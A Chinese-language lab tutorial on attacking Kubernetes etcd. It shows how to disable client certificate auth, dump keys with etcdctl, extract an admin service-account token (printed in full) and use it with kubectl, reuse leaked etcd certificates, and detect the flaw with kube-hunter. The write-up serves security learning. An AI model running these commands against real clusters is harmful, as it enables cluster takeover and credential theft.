在Kubernetes中,etcd是一个高可用的、强一致性的分布式键值存储系统,用于存储和管理集群配置、状态信息以及其他元数据。它充当了Kubernetes控制平面组件的数据存储后端,确保Kubernetes集群的配置和状态数据的一致性和可靠性,以支持容器编排、自动扩展和服务发现等关键功能。
因此,控制etcd服务,相当于控制整个集群,接下来我会介绍etcd未授权访问漏洞以及在证书泄露时如何利用etcd,最后介绍一下kube-hunter如何识别etcd未授权漏洞
环境搭建
./metarget gadget install k8s --version 1.16.5
创建了一个名为 admin-user 的 Kubernetes Service Account,然后将 cluster-admin 集群角色绑定到该服务帐户。这授予了 admin-user 服务帐户在整个集群中执行几乎所有操作的特权,通常用于开发和测试环境,但在生产环境中需小心谨慎使用,以确保安全性。
kubectl apply -f account.yaml
etcd未授权访问
修改配置文件将--client-cert-auth的值修改为false(默认是true)
/etc/kubernetes/manifests
vim etcd.yaml
在攻击机上执行
curl https://192.168.159.235:2379/version-k
成功访问到kubernetes的etcd服务
使用 etcdctl 工具获取 etcd 键空间中的所有键,不获取键对应的值,同时跳过 TLS 证书验证。
./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://192.168.159.235:2379/ get / --prefix --keys-only
使用 grep 命令来过滤出包含 "/secrets/kube-system/clusterrole" 的键,查找 etcd 中与 Kubernetes 集群中 kube-system 命名空间的集群角色相关的信息
./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://192.168.159.235:2379/ get --keys-only --prefix=true "/" | grep /secrets/kube-system
查看与 Kubernetes 集群中 kube-system 命名空间相关的密钥token
/etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://192.168.159.235:2379/ get /registry/secrets/kube-system/admin-user-token-54hwf
通过该token可以获取k8s集群的权限
kubectl --insecure-skip-tls-verify -s https://192.168.159.235:6443 --token="eyJhbGciOiJSUzI1NiIsImtpZCI6IjV3Z045Rmk1U21qTGJuajRzWnlTRzhUY3RtdE1RVnpLYllyV0ZtOF96dTQifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJhZG1pbi11c2VyLXRva2VuLTU0aHdmIiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImFkbWluLXVzZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJiYzZhZjE4NC1lOWI2LTQyMzYtYWM5OC03ZjE4NmY1YzU5NmEiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06YWRtaW4tdXNlciJ9.FGLlLoetvzgAEFDWPLxynvr1QPMTAIYkEi05CCZzvqYSW7kvlUltru8OzAQDNvCfeZiTL5d5rejvhmdh2w4fUpzAWa70m4SdlzPHHAtgoG6tt7jhDVq-BR8y17sasnRX-PQ0X32LPbrtmI3s1VJhJmqa9Q1CJWTM10NPTsviq07Tr3zQdyIvU1HnILb4kgD8-NGL0xr-7QNYfdMXrv912FIbGK9z1SoVxcn40c7A8i8hC804F11Z2n_13yjZ5wdhdiQ3Pluz2QJyTwXl6jd5rMegsch2-_Y1o4cscJGJyK3X9PrOBv02C6uGFw-pNrjs5NYmIufraWHA-W1LovQyEg" -n kube-system get pods
通过泄漏的证书攻击etcd服务
在默认情况下etcd需要授权才能访问,如下
在集群的/etc/kubernetes/pki/etcd目录下存放着证书信息
此时如果证书泄露了,我们就可以利用证书访问etcd
我们把3个证书复制到攻击机的etcd工具目录下,导入环境变量
export ETCDCTL_CERT=peer.crt
export ETCDCTL_CACERT=ca.crt
export ETCDCTL_KEY=peer.key
我们验证一下是否能访问etcd
./etcdctl --endpoints=https://192.168.159.235:2379/ get / --prefix --keys-only
成功访问,接下来的利用方式同上面的etcd未授权访问。
kube-hunter发现k8s漏洞
./kube-hunter.py --cidr 192.168.159.235
识别出了etcd未授权访问漏洞